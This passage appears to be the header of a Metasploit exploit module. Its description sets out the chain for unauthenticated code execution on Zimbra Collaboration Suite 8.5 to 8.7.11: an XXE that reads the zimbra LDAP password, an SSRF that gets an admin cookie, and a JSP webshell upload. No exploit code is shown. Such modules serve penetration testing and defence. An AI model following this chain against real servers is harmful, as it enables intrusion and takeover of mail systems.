      'Name'           => 'Zimbra Collaboration Autodiscover Servlet XXE and ProxyServlet SSRF',
      'Description'    => %q{
        This module exploits an XML external entity vulnerability and a
        server side request forgery to get unauthenticated code execution
        on Zimbra Collaboration Suite. The XML external entity vulnerability
        in the Autodiscover Servlet is used to read a Zimbra configuration
        file that contains an LDAP password for the 'zimbra' account. The
        zimbra credentials are then used to get a user authentication cookie
        with an AuthRequest message. Using the user cookie, a server side request
        forgery in the Proxy Servlet is used to proxy an AuthRequest with
        the 'zimbra' credentials to the admin port to retrieve an admin
        cookie. After gaining an admin cookie the Client Upload servlet is
        used to upload a JSP webshell that can be triggered from the web
        server to get command execution on the host. The issues reportedly
        affect Zimbra Collaboration Suite v8.5 to v8.7.11.

        This module was tested with Zimbra Release 8.7.1.GA.1670.UBUNTU16.64
        UBUNTU16_64 FOSS edition.
